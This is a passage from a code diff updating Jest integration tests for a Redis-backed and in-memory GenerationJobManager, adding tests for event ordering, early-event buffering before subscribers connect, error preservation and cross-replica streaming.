'~/stream/implementations/RedisJobStore'; +import { createStreamServices } from '~/stream/createStreamServices'; +import { GenerationJobManager } from '~/stream/GenerationJobManager'; +import { + ioredisClient as staticRedisClient, + keyvRedisClient as staticKeyvClient, + keyvRedisClientReady, +} from '~/cache/redisClients'; /** * Integration tests for GenerationJobManager. @@ -11,20 +24,23 @@ import type { Redis, Cluster } from 'ioredis'; describe('GenerationJobManager Integration Tests', () => { let originalEnv: NodeJS.ProcessEnv; let ioredisClient: Redis | Cluster | null = null; + let dynamicKeyvClient: unknown = null; + let dynamicKeyvReady: Promise | null = null; const testPrefix = 'JobManager-Integration-Test'; beforeAll(async () => { originalEnv = { ...process.env }; - // Set up test environment process.env.USE_REDIS = process.env.USE_REDIS ?? 'true'; process.env.REDIS_URI = process.env.REDIS_URI ?? 'redis://127.0.0.1:6379'; process.env.REDIS_KEY_PREFIX = testPrefix; jest.resetModules(); - const { ioredisClient: client } = await import('../../cache/redisClients'); - ioredisClient = client; + const redisModule = await import('~/cache/redisClients'); + ioredisClient = redisModule.ioredisClient; + dynamicKeyvClient = redisModule.keyvRedisClient; + dynamicKeyvReady = redisModule.keyvRedisClientReady; }); afterEach(async () => { @@ -45,28 +61,29 @@ describe('GenerationJobManager Integration Tests', () => { }); afterAll(async () => { - if (ioredisClient) { - try { - // Use quit() to gracefully close - waits for pending commands - await ioredisClient.quit(); - } catch { - // Fall back to disconnect if quit fails - try { - ioredisClient.disconnect(); - } catch { - // Ignore - } + for (const ready of [keyvRedisClientReady, dynamicKeyvReady]) { + if (ready) { + await ready.catch(() => {}); } } + + const clients = [ioredisClient, staticRedisClient, staticKeyvClient, dynamicKeyvClient]; + for (const client of clients) { + if (!client) { + continue; + } + try { + await (client as { disconnect: () => void | Promise }).disconnect(); + } catch { + /* ignore */ + } + } + process.env = originalEnv; }); describe('In-Memory Mode', () => { test('should create and manage jobs', async () => { - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { InMemoryJobStore } = await import('../implementations/InMemoryJobStore'); - const { InMemoryEventTransport } = await import('../implementations/InMemoryEventTransport'); - // Configure with in-memory // cleanupOnComplete: false so we can verify completed status GenerationJobManager.configure({ @@ -76,7 +93,7 @@ describe('GenerationJobManager Integration Tests', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `inmem-job-${Date.now()}`; const userId = 'test-user-1'; @@ -108,17 +125,13 @@ describe('GenerationJobManager Integration Tests', () => { }); test('should handle event streaming', async () => { - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { InMemoryJobStore } = await import('../implementations/InMemoryJobStore'); - const { InMemoryEventTransport } = await import('../implementations/InMemoryEventTransport'); - GenerationJobManager.configure({ jobStore: new InMemoryJobStore({ ttlAfterComplete: 60000 }), eventTransport: new InMemoryEventTransport(), isRedis: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `inmem-events-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -134,12 +147,12 @@ describe('GenerationJobManager Integration Tests', () => { // Wait for first subscriber to be registered await new Promise((resolve) => setTimeout(resolve, 10)); - // Emit chunks (emitChunk takes { event, data } format) - GenerationJobManager.emitChunk(streamId, { + // Emit chunks (emitChunk takes { event, data } format, now async for Redis ordering) + await GenerationJobManager.emitChunk(streamId, { event: 'on_message_delta', data: { type: 'text', text: 'Hello' }, }); - GenerationJobManager.emitChunk(streamId, { + await GenerationJobManager.emitChunk(streamId, { event: 'on_message_delta', data: { type: 'text', text: ' world' }, }); @@ -165,9 +178,6 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { createStreamServices } = await import('../createStreamServices'); - // Create Redis services const services = createStreamServices({ useRedis: true, @@ -177,7 +187,7 @@ describe('GenerationJobManager Integration Tests', () => { expect(services.isRedis).toBe(true); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `redis-job-${Date.now()}`; const userId = 'test-user-redis'; @@ -204,23 +214,20 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { createStreamServices } = await import('../createStreamServices'); - const services = createStreamServices({ useRedis: true, redisClient: ioredisClient, }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `redis-chunks-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); // Emit chunks (these should be persisted to Redis) - // emitChunk takes { event, data } format - GenerationJobManager.emitChunk(streamId, { + // emitChunk takes { event, data } format, now async for Redis ordering + await GenerationJobManager.emitChunk(streamId, { event: 'on_run_step', data: { id: 'step-1', @@ -229,14 +236,14 @@ describe('GenerationJobManager Integration Tests', () => { stepDetails: { type: 'message_creation' }, }, }); - GenerationJobManager.emitChunk(streamId, { + await GenerationJobManager.emitChunk(streamId, { event: 'on_message_delta', data: { id: 'step-1', delta: { content: { type: 'text', text: 'Persisted ' } }, }, }); - GenerationJobManager.emitChunk(streamId, { + await GenerationJobManager.emitChunk(streamId, { event: 'on_message_delta', data: { id: 'step-1', @@ -262,22 +269,19 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { createStreamServices } = await import('../createStreamServices'); - const services = createStreamServices({ useRedis: true, redisClient: ioredisClient, }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `redis-abort-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); - // Emit some content (emitChunk takes { event, data } format) - GenerationJobManager.emitChunk(streamId, { + // Emit some content (emitChunk takes { event, data } format, now async) + await GenerationJobManager.emitChunk(streamId, { event: 'on_run_step', data: { id: 'step-1', @@ -286,7 +290,7 @@ describe('GenerationJobManager Integration Tests', () => { stepDetails: { type: 'message_creation' }, }, }); - GenerationJobManager.emitChunk(streamId, { + await GenerationJobManager.emitChunk(streamId, { event: 'on_message_delta', data: { id: 'step-1', @@ -314,10 +318,7 @@ describe('GenerationJobManager Integration Tests', () => { const runTestWithMode = async (isRedis: boolean) => { jest.resetModules(); - const { GenerationJobManager } = await import('../GenerationJobManager'); - if (isRedis && ioredisClient) { - const { createStreamServices } = await import('../createStreamServices'); GenerationJobManager.configure({ ...createStreamServices({ useRedis: true, @@ -326,10 +327,6 @@ describe('GenerationJobManager Integration Tests', () => { cleanupOnComplete: false, // Keep job for verification }); } else { - const { InMemoryJobStore } = await import('../implementations/InMemoryJobStore'); - const { InMemoryEventTransport } = await import( - '../implementations/InMemoryEventTransport' - ); GenerationJobManager.configure({ jobStore: new InMemoryJobStore({ ttlAfterComplete: 60000 }), eventTransport: new InMemoryEventTransport(), @@ -338,7 +335,7 @@ describe('GenerationJobManager Integration Tests', () => { }); } - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `consistency-${isRedis ? 'redis' : 'inmem'}-${Date.now()}`; @@ -395,8 +392,6 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { RedisJobStore } = await import('../implementations/RedisJobStore'); - // === REPLICA A: Creates the job === // Simulate Replica A creating the job directly in Redis // (In real scenario, this happens via GenerationJobManager.createJob on Replica A) @@ -412,8 +407,6 @@ describe('GenerationJobManager Integration Tests', () => { // === REPLICA B: Receives the stream request === // Fresh GenerationJobManager that does NOT have this job in its local runtimeState jest.resetModules(); - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { createStreamServices } = await import('../createStreamServices'); const services = createStreamServices({ useRedis: true, @@ -421,7 +414,7 @@ describe('GenerationJobManager Integration Tests', () => { }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); // This is what the stream endpoint does: // const job = await GenerationJobManager.getJob(streamId); @@ -464,10 +457,6 @@ describe('GenerationJobManager Integration Tests', () => { return; } - // Simulate two instances - one creates job, other tries to get it - const { createStreamServices } = await import('../createStreamServices'); - const { RedisJobStore } = await import('../implementations/RedisJobStore'); - // Instance 1: Create the job directly in Redis (simulating another replica) const jobStore = new RedisJobStore(ioredisClient); await jobStore.initialize(); @@ -480,7 +469,6 @@ describe('GenerationJobManager Integration Tests', () => { // Instance 2: Fresh GenerationJobManager that doesn't have this job in memory jest.resetModules(); - const { GenerationJobManager } = await import('../GenerationJobManager'); const services = createStreamServices({ useRedis: true, @@ -488,7 +476,7 @@ describe('GenerationJobManager Integration Tests', () => { }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); // This should work even though the job was created by "another instance" // The manager should lazily create runtime state from Redis data @@ -517,16 +505,13 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { createStreamServices } = await import('../createStreamServices'); - const services = createStreamServices({ useRedis: true, redisClient: ioredisClient, }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `sync-sent-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -559,9 +544,6 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { createStreamServices } = await import('../createStreamServices'); - const services = createStreamServices({ useRedis: true, redisClient: ioredisClient, @@ -571,7 +553,7 @@ describe('GenerationJobManager Integration Tests', () => { ...services, cleanupOnComplete: false, // Keep job for verification }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `final-event-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -582,7 +564,7 @@ describe('GenerationJobManager Integration Tests', () => { conversation: { conversationId: streamId }, responseMessage: { text: 'Hello world' }, }; - GenerationJobManager.emitDone(streamId, finalEventData as never); + await GenerationJobManager.emitDone(streamId, finalEventData as never); await new Promise((resolve) => setTimeout(resolve, 200)); @@ -604,16 +586,13 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { createStreamServices } = await import('../createStreamServices'); - const services = createStreamServices({ useRedis: true, redisClient: ioredisClient, }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `abort-signal-${Date.now()}`; const job = await GenerationJobManager.createJob(streamId, 'user-1'); @@ -649,9 +628,6 @@ describe('GenerationJobManager Integration Tests', () => { // This test validates that jobs created on Replica A and lazily-initialized // on Replica B can still receive and handle abort signals. - const { createStreamServices } = await import('../createStreamServices'); - const { RedisJobStore } = await import('../implementations/RedisJobStore'); - // === Replica A: Create job directly in Redis === const replicaAJobStore = new RedisJobStore(ioredisClient); await replicaAJobStore.initialize(); @@ -661,7 +637,6 @@ describe('GenerationJobManager Integration Tests', () => { // === Replica B: Fresh manager that lazily initializes the job === jest.resetModules(); - const { GenerationJobManager } = await import('../GenerationJobManager'); const services = createStreamServices({ useRedis: true, @@ -669,7 +644,7 @@ describe('GenerationJobManager Integration Tests', () => { }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); // Get job triggers lazy initialization of runtime state const job = await GenerationJobManager.getJob(streamId); @@ -710,19 +685,14 @@ describe('GenerationJobManager Integration Tests', () => { // 2. Replica B receives abort request and emits abort signal // 3. Replica A receives signal and aborts its AbortController - const { createStreamServices } = await import('../createStreamServices'); - const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); - // Create the job on "Replica A" - const { GenerationJobManager } = await import('../GenerationJobManager'); - const services = createStreamServices({ useRedis: true, redisClient: ioredisClient, }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `cross-abort-${Date.now()}`; const job = await GenerationJobManager.createJob(streamId, 'user-1'); @@ -764,9 +734,6 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { createStreamServices } = await import('../createStreamServices'); - const { RedisJobStore } = await import('../implementations/RedisJobStore'); - // Create job directly in Redis with syncSent: true const jobStore = new RedisJobStore(ioredisClient); await jobStore.initialize(); @@ -777,7 +744,6 @@ describe('GenerationJobManager Integration Tests', () => { // Fresh manager that doesn't have this job locally jest.resetModules(); - const { GenerationJobManager } = await import('../GenerationJobManager'); const services = createStreamServices({ useRedis: true, @@ -785,7 +751,7 @@ describe('GenerationJobManager Integration Tests', () => { }); GenerationJobManager.configure(services); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); // wasSyncSent should check Redis even without local runtime const wasSent = await GenerationJobManager.wasSyncSent(streamId); @@ -796,6 +762,455 @@ describe('GenerationJobManager Integration Tests', () => { }); }); + describe('Sequential Event Ordering (Redis)', () => { + /** + * These tests verify that events are delivered in strict sequential order + * when using Redis mode. This is critical because: + * 1. LLM streaming tokens must arrive in order for coherent output + * 2. Tool call argument deltas must be concatenated in order + * 3. Run step events must precede their deltas + * + * The fix: emitChunk now awaits Redis publish to ensure ordered delivery. + */ + test('should maintain strict order for rapid sequential emits', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + jest.resetModules(); + + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + GenerationJobManager.configure(services); + GenerationJobManager.initialize(); + + const streamId = `order-rapid-${Date.now()}`; + await GenerationJobManager.createJob(streamId, 'user-1'); + + const receivedIndices: number[] = []; + + const subscription = await GenerationJobManager.subscribe(streamId, (event) => { + const data = event as { event: string; data: { index: number } }; + if (data.event === 'test') { + receivedIndices.push(data.data.index); + } + }); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Emit 30 events rapidly - with await, they must arrive in order + for (let i = 0; i < 30; i++) { + await GenerationJobManager.emitChunk(streamId, { + event: 'test', + data: { index: i }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + // Verify all events arrived in correct order + expect(receivedIndices.length).toBe(30); + for (let i = 0; i < 30; i++) { + expect(receivedIndices[i]).toBe(i); + } + + subscription?.unsubscribe(); + await GenerationJobManager.destroy(); + }); + + test('should maintain order for tool call argument deltas', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + jest.resetModules(); + + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + GenerationJobManager.configure(services); + GenerationJobManager.initialize(); + + const streamId = `tool-args-${Date.now()}`; + await GenerationJobManager.createJob(streamId, 'user-1'); + + const receivedArgs: string[] = []; + + const subscription = await GenerationJobManager.subscribe(streamId, (event) => { + const data = event as { + event: string; + data: { delta: { tool_calls: { args: string }[] } }; + }; + if (data.event === 'on_run_step_delta') { + receivedArgs.push(data.data.delta.tool_calls[0].args); + } + }); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Simulate streaming JSON args: {"code": "print('hello')"} + const argChunks = ['{"', 'code', '": "', 'print', "('", 'hello', "')", '"}']; + + for (const chunk of argChunks) { + await GenerationJobManager.emitChunk(streamId, { + event: 'on_run_step_delta', + data: { + id: 'step-1', + delta: { + type: 'tool_calls', + tool_calls: [{ index: 0, args: chunk }], + }, + }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + // This was the original bug - args would arrive scrambled without await + expect(receivedArgs).toEqual(argChunks); + expect(receivedArgs.join('')).toBe(`{"code": "print('hello')"}`); + + subscription?.unsubscribe(); + await GenerationJobManager.destroy(); + }); + + test('should maintain order: on_run_step before on_run_step_delta', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + jest.resetModules(); + + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + GenerationJobManager.configure(services); + GenerationJobManager.initialize(); + + const streamId = `step-order-${Date.now()}`; + await GenerationJobManager.createJob(streamId, 'user-1'); + + const receivedEvents: string[] = []; + + const subscription = await GenerationJobManager.subscribe(streamId, (event) => { + const data = event as { event: string }; + receivedEvents.push(data.event); + }); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Emit in correct order: step first, then deltas + await GenerationJobManager.emitChunk(streamId, { + event: 'on_run_step', + data: { id: 'step-1', type: 'tool_calls', index: 0 }, + }); + + await GenerationJobManager.emitChunk(streamId, { + event: 'on_run_step_delta', + data: { id: 'step-1', delta: { type: 'tool_calls', tool_calls: [{ args: '{' }] } }, + }); + + await GenerationJobManager.emitChunk(streamId, { + event: 'on_run_step_delta', + data: { id: 'step-1', delta: { type: 'tool_calls', tool_calls: [{ args: '}' }] } }, + }); + + await GenerationJobManager.emitChunk(streamId, { + event: 'on_run_step_completed', + data: { id: 'step-1', result: { content: '{}' } }, + }); + + await new Promise((resolve) => setTimeout(resolve, 300)); + + // Verify ordering: step -> deltas -> completed + expect(receivedEvents).toEqual([ + 'on_run_step', + 'on_run_step_delta', + 'on_run_step_delta', + 'on_run_step_completed', + ]); + + subscription?.unsubscribe(); + await GenerationJobManager.destroy(); + }); + + test('should not block other streams when awaiting emitChunk', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + jest.resetModules(); + + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + GenerationJobManager.configure(services); + GenerationJobManager.initialize(); + + const streamId1 = `concurrent-1-${Date.now()}`; + const streamId2 = `concurrent-2-${Date.now()}`; + + await GenerationJobManager.createJob(streamId1, 'user-1'); + await GenerationJobManager.createJob(streamId2, 'user-2'); + + const stream1Events: number[] = []; + const stream2Events: number[] = []; + + const sub1 = await GenerationJobManager.subscribe(streamId1, (event) => { + const data = event as { event: string; data: { index: number } }; + if (data.event === 'test') { + stream1Events.push(data.data.index); + } + }); + + const sub2 = await GenerationJobManager.subscribe(streamId2, (event) => { + const data = event as { event: string; data: { index: number } }; + if (data.event === 'test') { + stream2Events.push(data.data.index); + } + }); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Emit to both streams concurrently (simulating two LLM responses) + const emitPromises: Promise[] = []; + for (let i = 0; i < 10; i++) { + emitPromises.push( + GenerationJobManager.emitChunk(streamId1, { event: 'test', data: { index: i } }), + ); + emitPromises.push( + GenerationJobManager.emitChunk(streamId2, { event: 'test', data: { index: i * 100 } }), + ); + } + await Promise.all(emitPromises); + + await new Promise((resolve) => setTimeout(resolve, 300)); + + // Each stream should have all events, in order within their stream + expect(stream1Events.length).toBe(10); + expect(stream2Events.length).toBe(10); + + // Verify each stream's internal order + for (let i = 0; i < 10; i++) { + expect(stream1Events[i]).toBe(i); + expect(stream2Events[i]).toBe(i * 100); + } + + sub1?.unsubscribe(); + sub2?.unsubscribe(); + await GenerationJobManager.destroy(); + }); + }); + + describe('Race Condition: Events Before Subscriber Ready', () => { + /** + * These tests verify the fix for the race condition where early events + * (like the 'created' event at seq 0) are lost because the Redis SUBSCRIBE + * command hasn't completed when events are published. + * + * Symptom: "[RedisEventTransport] Stream : timeout waiting for seq 0" + * followed by truncated responses in the UI. + * + * Root cause: RedisEventTransport.subscribe() fired Redis SUBSCRIBE as + * fire-and-forget. GenerationJobManager set hasSubscriber=true immediately, + * disabling the earlyEventBuffer before Redis was actually listening. + * + * Fix: subscribe() now returns a `ready` promise that resolves when the + * Redis subscription is confirmed. earlyEventBuffer stays active until then. + */ + + test('should buffer and replay events emitted before subscribe (in-memory)', async () => { + const manager = new GenerationJobManagerClass(); + manager.configure({ + jobStore: new InMemoryJobStore({ ttlAfterComplete: 60000 }), + eventTransport: new InMemoryEventTransport(), + isRedis: false, + }); + + manager.initialize(); + + const streamId = `early-buf-inmem-${Date.now()}`; + await manager.createJob(streamId, 'user-1'); + + await manager.emitChunk(streamId, { + created: true, + message: { text: 'hello' }, + streamId, + } as unknown as ServerSentEvent); + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: 'First chunk' } } }, + }); + + const receivedEvents: unknown[] = []; + const subscription = await manager.subscribe(streamId, (event: unknown) => + receivedEvents.push(event), + ); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + expect(receivedEvents.length).toBe(2); + expect((receivedEvents[0] as Record).created).toBe(true); + + subscription?.unsubscribe(); + await manager.destroy(); + }); + + test('should buffer and replay events emitted before subscribe (Redis)', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const manager = new GenerationJobManagerClass(); + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + manager.configure(services); + manager.initialize(); + + const streamId = `early-buf-redis-${Date.now()}`; + await manager.createJob(streamId, 'user-1'); + + await manager.emitChunk(streamId, { + created: true, + message: { text: 'hello' }, + streamId, + } as unknown as ServerSentEvent); + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: 'First' } } }, + }); + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: ' chunk' } } }, + }); + + const receivedEvents: unknown[] = []; + const subscription = await manager.subscribe(streamId, (event: unknown) => + receivedEvents.push(event), + ); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(receivedEvents.length).toBe(3); + expect((receivedEvents[0] as Record).created).toBe(true); + expect( + ((receivedEvents[1] as Record).data as Record).delta, + ).toBeDefined(); + + subscription?.unsubscribe(); + await manager.destroy(); + }); + + test('should not lose events when emitting before and after subscribe (Redis)', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const manager = new GenerationJobManagerClass(); + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + manager.configure(services); + manager.initialize(); + + const streamId = `no-loss-${Date.now()}`; + await manager.createJob(streamId, 'user-1'); + + await manager.emitChunk(streamId, { + created: true, + message: { text: 'hello' }, + streamId, + } as unknown as ServerSentEvent); + await manager.emitChunk(streamId, { + event: 'on_run_step', + data: { id: 'step-1', type: 'message_creation', index: 0 }, + }); + + const receivedEvents: unknown[] = []; + const subscription = await manager.subscribe(streamId, (event: unknown) => + receivedEvents.push(event), + ); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + for (let i = 0; i < 10; i++) { + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: `word${i} ` } }, index: i }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + expect(receivedEvents.length).toBe(12); + expect((receivedEvents[0] as Record).created).toBe(true); + expect((receivedEvents[1] as Record).event).toBe('on_run_step'); + for (let i = 0; i < 10; i++) { + expect((receivedEvents[i + 2] as Record).event).toBe('on_message_delta'); + } + + subscription?.unsubscribe(); + await manager.destroy(); + }); + + test('RedisEventTransport.subscribe() should return a ready promise', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const subscriber = (ioredisClient as unknown as { duplicate: () => unknown }).duplicate(); + const transport = new RedisEventTransport(ioredisClient as never, subscriber as never); + + const streamId = `ready-promise-${Date.now()}`; + const result = transport.subscribe(streamId, { + onChunk: () => {}, + }); + + expect(result.ready).toBeDefined(); + expect(result.ready).toBeInstanceOf(Promise); + + await result.ready; + + result.unsubscribe(); + transport.destroy(); + (subscriber as { disconnect: () => void }).disconnect(); + }); + + test('InMemoryEventTransport.subscribe() should not have a ready promise', () => { + const transport = new InMemoryEventTransport(); + const streamId = `no-ready-${Date.now()}`; + const result = transport.subscribe(streamId, { + onChunk: () => {}, + }); + + expect(result.ready).toBeUndefined(); + + result.unsubscribe(); + transport.destroy(); + }); + }); + describe('Error Preservation for Late Subscribers', () => { /** * These tests verify the fix for the race condition where errors @@ -806,10 +1221,6 @@ describe('GenerationJobManager Integration Tests', () => { */ test('should store error in emitError for late-connecting subscribers', async () => { - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { InMemoryJobStore } = await import('../implementations/InMemoryJobStore'); - const { InMemoryEventTransport } = await import('../implementations/InMemoryEventTransport'); - GenerationJobManager.configure({ jobStore: new InMemoryJobStore({ ttlAfterComplete: 60000 }), eventTransport: new InMemoryEventTransport(), @@ -817,7 +1228,7 @@ describe('GenerationJobManager Integration Tests', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `error-store-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -825,7 +1236,7 @@ describe('GenerationJobManager Integration Tests', () => { const errorMessage = '{ "type": "INPUT_LENGTH", "info": "234856 / 172627" }'; // Emit error (no subscribers yet - simulates race condition) - GenerationJobManager.emitError(streamId, errorMessage); + await GenerationJobManager.emitError(streamId, errorMessage); // Wait for async job store update await new Promise((resolve) => setTimeout(resolve, 50)); @@ -838,10 +1249,6 @@ describe('GenerationJobManager Integration Tests', () => { }); test('should NOT delete job immediately when completeJob is called with error', async () => { - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { InMemoryJobStore } = await import('../implementations/InMemoryJobStore'); - const { InMemoryEventTransport } = await import('../implementations/InMemoryEventTransport'); - GenerationJobManager.configure({ jobStore: new InMemoryJobStore({ ttlAfterComplete: 60000 }), eventTransport: new InMemoryEventTransport(), @@ -849,7 +1256,7 @@ describe('GenerationJobManager Integration Tests', () => { cleanupOnComplete: true, // Default behavior }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `error-no-delete-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -872,10 +1279,6 @@ describe('GenerationJobManager Integration Tests', () => { }); test('should send stored error to late-connecting subscriber', async () => { - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { InMemoryJobStore } = await import('../implementations/InMemoryJobStore'); - const { InMemoryEventTransport } = await import('../implementations/InMemoryEventTransport'); - GenerationJobManager.configure({ jobStore: new InMemoryJobStore({ ttlAfterComplete: 60000 }), eventTransport: new InMemoryEventTransport(), @@ -883,7 +1286,7 @@ describe('GenerationJobManager Integration Tests', () => { cleanupOnComplete: true, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `error-late-sub-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -891,7 +1294,7 @@ describe('GenerationJobManager Integration Tests', () => { const errorMessage = '{ "type": "INPUT_LENGTH", "info": "234856 / 172627" }'; // Simulate race condition: error occurs before client connects - GenerationJobManager.emitError(streamId, errorMessage); + await GenerationJobManager.emitError(streamId, errorMessage); await GenerationJobManager.completeJob(streamId, errorMessage); // Wait for async operations @@ -921,10 +1324,6 @@ describe('GenerationJobManager Integration Tests', () => { }); test('should prioritize error status over finalEvent in subscribe', async () => { - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { InMemoryJobStore } = await import('../implementations/InMemoryJobStore'); - const { InMemoryEventTransport } = await import('../implementations/InMemoryEventTransport'); - GenerationJobManager.configure({ jobStore: new InMemoryJobStore({ ttlAfterComplete: 60000 }), eventTransport: new InMemoryEventTransport(), @@ -932,7 +1331,7 @@ describe('GenerationJobManager Integration Tests', () => { cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `error-priority-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -940,7 +1339,7 @@ describe('GenerationJobManager Integration Tests', () => { const errorMessage = 'Error should take priority'; // Emit error and complete with error - GenerationJobManager.emitError(streamId, errorMessage); + await GenerationJobManager.emitError(streamId, errorMessage); await GenerationJobManager.completeJob(streamId, errorMessage); await new Promise((resolve) => setTimeout(resolve, 50)); @@ -976,9 +1375,6 @@ describe('GenerationJobManager Integration Tests', () => { return; } - const { createStreamServices } = await import('../createStreamServices'); - const { RedisJobStore } = await import('../implementations/RedisJobStore'); - // === Replica A: Creates job and emits error === const replicaAJobStore = new RedisJobStore(ioredisClient); await replicaAJobStore.initialize(); @@ -995,7 +1391,6 @@ describe('GenerationJobManager Integration Tests', () => { // === Replica B: Fresh manager receives client connection === jest.resetModules(); - const { GenerationJobManager } = await import('../GenerationJobManager'); const services = createStreamServices({ useRedis: true, @@ -1006,7 +1401,7 @@ describe('GenerationJobManager Integration Tests', () => { ...services, cleanupOnComplete: false, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); // Client connects to Replica B (job created on Replica A) let receivedError: string | undefined; @@ -1032,10 +1427,6 @@ describe('GenerationJobManager Integration Tests', () => { }); test('error jobs should be cleaned up by periodic cleanup after TTL', async () => { - const { GenerationJobManager } = await import('../GenerationJobManager'); - const { InMemoryJobStore } = await import('../implementations/InMemoryJobStore'); - const { InMemoryEventTransport } = await import('../implementations/InMemoryEventTransport'); - // Use a very short TTL for testing const jobStore = new InMemoryJobStore({ ttlAfterComplete: 100 }); @@ -1046,7 +1437,7 @@ describe('GenerationJobManager Integration Tests', () => { cleanupOnComplete: true, }); - await GenerationJobManager.initialize(); + GenerationJobManager.initialize(); const streamId = `error-cleanup-${Date.now()}`; await GenerationJobManager.createJob(streamId, 'user-1'); @@ -1072,36 +1463,457 @@ describe('GenerationJobManager Integration Tests', () => { }); }); - describe('createStreamServices Auto-Detection', () => { - test('should auto-detect Redis when USE_REDIS is true', async () => { + describe('Cross-Replica Live Streaming (Redis)', () => { + test('should publish events to Redis even when no local subscriber exists', async () => { if (!ioredisClient) { console.warn('Redis not available, skipping test'); return; } - // Force USE_REDIS to true - process.env.USE_REDIS = 'true'; - jest.resetModules(); + const replicaA = new GenerationJobManagerClass(); + const servicesA = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + replicaA.configure(servicesA); + replicaA.initialize(); - const { createStreamServices } = await import('../createStreamServices'); - const services = createStreamServices(); + const replicaB = new GenerationJobManagerClass(); + const servicesB = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + replicaB.configure(servicesB); + replicaB.initialize(); - // Should detect Redis - expect(services.isRedis).toBe(true); + const streamId = `cross-live-${Date.now()}`; + await replicaA.createJob(streamId, 'user-1'); + + const replicaBJobStore = new RedisJobStore(ioredisClient); + await replicaBJobStore.initialize(); + await replicaBJobStore.createJob(streamId, 'user-1'); + + const receivedOnB: unknown[] = []; + const 